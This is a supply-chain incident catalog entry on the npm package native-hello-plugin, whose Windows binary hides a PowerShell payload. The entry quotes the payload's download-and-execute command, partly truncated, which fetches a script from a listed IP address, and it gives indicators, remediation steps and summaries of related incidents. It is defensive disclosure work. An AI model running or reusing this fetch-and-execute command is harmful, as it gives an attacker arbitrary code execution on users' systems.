Malicious code in native-hello-plugin (npm)
The npm package native-hello-plugin contained malicious code in its Windows-x64 prebuilt binary that executes arbitrary PowerShell commands at plugin startup. The Linux-arm64 variant was unaffected, indicating selective compromise of platform-specific binaries.
- Disclosed
- Last updated
- Blast radius
- Windows systems running native-hello-plugin with activation.onStartup enabled
- Ecosystems
- Attack vectors
- Affected entities
- native-hello-pluginWindows-x64 prebuilt binary contains malicious PowerShell payload; Linux-arm64 binary is clean
The npm package native-hello-plugin was distributed with malicious code embedded in the Windows-x64 prebuilt hello.node binary. The binary contains an embedded PowerShell command that fetches and executes an unpinned script from a remote server over plaintext HTTP: powershell -Command \"iex (iwr 'http://89.124.113.217:8000/update.ps1'...)\".
The attack leverages the N-API-exported sha256Hex function as a cover for the malicious behavior. The JavaScript wrapper's register() function calls native.sha256Hex(...) at plugin startup when activation.onStartup: true is set, triggering the malicious code execution on Windows systems. This results in arbitrary code execution on the host via the fetched PowerShell script.
The Linux-arm64 sibling binary contains only legitimate SHA-256 symbols with no network strings, indicating the malicious payload was selectively injected into the Windows binary while leaving other platform variants and the JavaScript wrapper clean. This targeted approach suggests deliberate compromise of the Windows build artifact.
The incident was identified and credited to the OpenSSF's malicious-packages repository.
Indicators of compromise
- Packages
- native-hello-plugin
- IPs
- 89.124.113.217
Remediation
- Remove or uninstall native-hello-plugin from all systems, particularly Windows machines
- Audit systems that had native-hello-plugin installed for signs of compromise or unauthorized PowerShell execution
- Review npm package dependencies to identify any reliance on native-hello-plugin and replace with legitimate alternatives
- Monitor for network connections to 89.124.113.217:8000 in logs
- Update to a patched version if one is released, or use an alternative package
Sources
- GitHub Advisory GHSA-7pxj-96wf-5f5r · GitHub Advisory Database
Cite this entry
"Malicious code in native-hello-plugin (npm)." supplychainattack.org, Supply Chain Attack Incident Catalog. Disclosed August 5, 2026; last updated August 5, 2026. https://supplychainattack.org/incident/malicious-code-in-native-hello-plugin-npm-1rzvoj
Suggest a correction
Found an error or have a newer source? Corrections to factual errors take priority over new entries.
Related incidents
- activecritical
Malware in @ai-vertical/ai-agent
Malware was discovered in the npm package @ai-vertical/ai-agent. Systems with this package installed or running should be considered fully compromised and require immediate remediation.
npmAI agents & skillsCompromised package - resolvedcritical
Malicious code in depcruise-wrap-stream-in-html (npm)
depcruise-wrap-stream-in-html@99.9.1 is a malicious npm package that mimics an internal helper of dependency-cruiser. It is a hollow package that downloads and executes arbitrary code from a Google Cloud Storage bucket during installation.
npmCompromised packageDependency confusionTyposquatting - containedcritical
Malicious code in akamaijs-sensor (npm)
The npm package akamaijs-sensor contained malicious code that executed arbitrary JavaScript via hidden Unicode-encoded bytes and established a command-and-control channel through a Google Calendar dead-drop. The package was designed to run attacker-authored code in the consumer's Node process when the sensor() API was called.
npmCompromised packageMalicious commit - containedcritical
Malicious code in gunzip-js (npm)
The npm package gunzip-js version 99.9.1 was identified as malicious by the OpenSSF Package Analysis project. The malicious version communicates with a domain associated with malicious activity.
npmCompromised package